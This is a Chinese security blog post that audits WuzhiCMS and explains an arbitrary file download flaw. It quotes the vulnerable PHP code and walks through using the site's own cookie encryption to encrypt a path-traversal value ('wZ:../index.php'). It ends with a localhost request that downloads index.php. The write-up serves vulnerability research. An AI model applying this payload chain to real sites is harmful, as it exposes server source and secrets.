朝花夕拾|勿忘初心 朝花夕拾|勿忘初心

五指CMS任意文件下载漏洞

in 代码审计 read (23) 419汉字 站长Lucifaer 文章转载请注明来源!

最近问balis0ng师傅要了份源码来看一看,发现几个比较简单的漏洞,这边记录一下。

0x00 漏洞触发点

/wuzhi/coreframe/app/content/down.phpdown类中的d()方法:

public function d() {
        if(isset($GLOBALS['s']) && !empty($GLOBALS['s'])) {
            $file = decode($GLOBALS['s']);
            if (strpos($file, 'wZ:') !== false) {
                $file = str_replace('wZ:',ATTACHMENT_ROOT,$file);
                download($file);
            } elseif(preg_match('/^http:|https:|ftp:/',$file)) {
                //远程地址下载
                header("Location:".$file);
            }
        }
    }

可以看到这里并没有对s进行任何处理,直接使用$GLOBALSs参数进行了获取。只要我们可以控制decode($GLOBALS['s'])的值,就可以越权实现任意文件下载。

0x01 具体实现过程

1.1 查看encode是否可逆

为了控制decode($GLOBALS['s'])的值,我们需要看一下是否该encode函数可逆,在/wuzhi/coreframe/core.php

function encode($string,$key = '') {
    $encode = load_class('encrypt');
    return $encode->encode($string,$key);
}

跟进/wuzhi/coreframe/app/core/libs/class/encrypt.class.php

public function encode($string, $key = '') {
        $key = $key == '' ? _KEY : $key;
        if($this->_support_mcrypt) {
            return base64_encode($this->mcrypt_encode($string, $key));
        } else {
            return $this->_authcode($string, 'ENCODE', $key);
        }
    }

继续跟进:

protected function _add_cipher_noise($data, $key)
    {
        $key = md5($key);
        $str = '';

        for ($i = 0, $j = 0, $ld = strlen($data), $lk = strlen($key); $i < $ld; ++$i, ++$j)
        {
            if ($j >= $lk)
            {
                $j = 0;
            }

            $str .= chr((ord($data[$i]) + ord($key[$j])) % 256);
        }

        return $str;
    }

经过分析,这个加密好像是不可逆的,那么我们就到此为止了么。

1.2 寻找调用encode且可控的模块及函数

我们经过全局搜索,找到了在set_cookie()函数(/wuzhi/coreframe/core.php)中,调用了encode()函数,也就是说,接下来要寻找调用set_cookie()函数,且输出结果可控的模块及方法:

function set_cookie($string, $value = '', $time = 0, $encrypt = true) {
    $time = $time > 0 ? $time : ($value == '' ? SYS_TIME - 3600 : 0);
    $s = $_SERVER['SERVER_PORT'] == '443' ? 1 : 0;
    $string = COOKIE_PRE.$string;
    if($encrypt) $value = encode($value);
    setcookie($string, $value, $time, COOKIE_PATH, COOKIE_DOMAIN, $s);
}

全局搜索调用set_cookie()函数的位置,在/wuzhi/coreframe/app/content/index.php发现了可控输入,且根据可控输入生成相应的cookie:

$cookie_city = $_COOKIE[COOKIE_PRE.'city_key'];
        if($cookie_city) {
            set_cookie('city',$cookie_city);
            $city = $cookie_city;
        }

且需要设置的cookie名称为一个系统本身的cookie前缀+city_key。前缀在wuzhi/www/configs/web_config.php

define('COOKIE_PRE','aHU_'); //Cookie 前缀

综上,我们只需要将构造好的cookie:

cookie名:aHU_city_key
cookie值:wZ:../index.php

传入,并获取加密后的值(位于),之后再讲加密的值传入d参数中就可进行任意文件下载。

0x03 利用过程

首先访问http://127.0.0.1:8888/m=content&f=index&v=init。根据上面的分析我们需要设置cookie为:

刷新页面,可以看到:

cookie名为aHU_city中获得加密后的内容,即为wZ:../index.php

之后访问http://127.0.0.1:8888?m=content&f=down&v=d&s=DcR5UIuD2R08LqIz92OW%2Bi0M7gZNCD8o

可以看到index.php文件即被下载,实现了任意文件下载。

代码审计
最后由Lucifaer修改于2017-06-01 00:52
发表新评论
博客已萌萌哒运行
© 2017 由 Typecho 强力驱动.Theme by YoduLucifaer,文艺型小青年 才不是死宅.....哼 爱好:听歌、买书、咖啡 欢迎各大组织收留
PREVIOUS NEXT
雷姆
拉姆